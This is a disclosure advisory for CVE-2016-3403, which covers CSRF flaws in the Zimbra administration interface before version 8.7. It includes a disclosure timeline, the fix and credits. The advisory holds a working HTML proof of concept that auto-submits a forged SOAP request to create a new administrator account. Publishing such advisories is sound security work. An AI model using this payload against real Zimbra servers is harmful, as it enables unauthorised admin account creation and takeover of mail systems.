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Zimbra Cross Site Request Forgery

Zimbra Cross Site Request Forgery
Posted Jan 13, 2017
Authored by Damien Cauquil, Anthony Laou-Hine Tsuei

Zimbra versions prior to 8.7 suffer from cross site request forgery vulnerabilities in the administrative interface.

tags | exploit, vulnerability, csrf
advisories | CVE-2016-3403
SHA-256 | d6689d77ee727b28e003d53bf04a4ea2dd4a9bd53747584c37e1020955d450ec

Zimbra Cross Site Request Forgery

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# CVE-2016-3403: Multiple CSRF in Zimbra Administration interface

## Description

Multiple CSRF vulnerabilities have been found in the administration
interface of Zimbra, giving possibilities like adding, modifying and
removing admin accounts.

## Vulnerability

Every forms in the Administration part of Zimbra are vulnerable to CSRF
because of the lack of a CSRF token identifying a valid session. As a
consequence, requests can be forged and played arbitrarily.

**Access Vector**: remote
**Security Risk**: low
**Vulnerability**: CWE-352
**CVSS Base score**: 5.8

## Proof of Concept

```html
<html>
<body>
<form enctype="text/plain" id="trololo"
action="https://192.168.0.171:7071/service/admin/soap/CreateAccountRequest"
method="POST">
<input name='<soap:Envelope
xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context
xmlns="urn:zimbra"><userAgent xmlns="" name="DTC"/><session xmlns=""
id="1337"/><format xmlns=""
type="js"/></context></soap:Header><soap:Body><CreateAccountRequest
xmlns="urn:zimbraAdmin"><name xmlns="">itworks@ubuntu.fr</name><password
xmlns="">test1234</password><a xmlns=""
n="zimbraAccountStatus">active</a><a xmlns=""
n="displayName">ItWorks</a><a xmlns="" n'

value='"sn">itworks</a><a xmlns=""
n="zimbraIsAdminAccount">TRUE</a></CreateAccountRequest></soap:Body></soap:Envelope>'/>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```

## Solution

* Upgrade to version 8.7

## Affected versions

* All versions previous to 8.7

## Fixes

* https://bugzilla.zimbra.com/show_bug.cgi?id=100885
* https://bugzilla.zimbra.com/show_bug.cgi?id=100899

## Timeline (dd/mm/yyyy)

* 24/02/2016: Issue reported to Zimbra
* 24/02/2016: Issue aknwoledged
* 20/06/2016: complete fixes released with version 8.7

## Credits

* Anthony LAOU-HINE TSUEI, Sysdream (laouhine_anthony -at- hotmail
-dot- fr)
* Damien CAUQUIL, Sysdream (d.cauquil -at- sysdream -dot- com)




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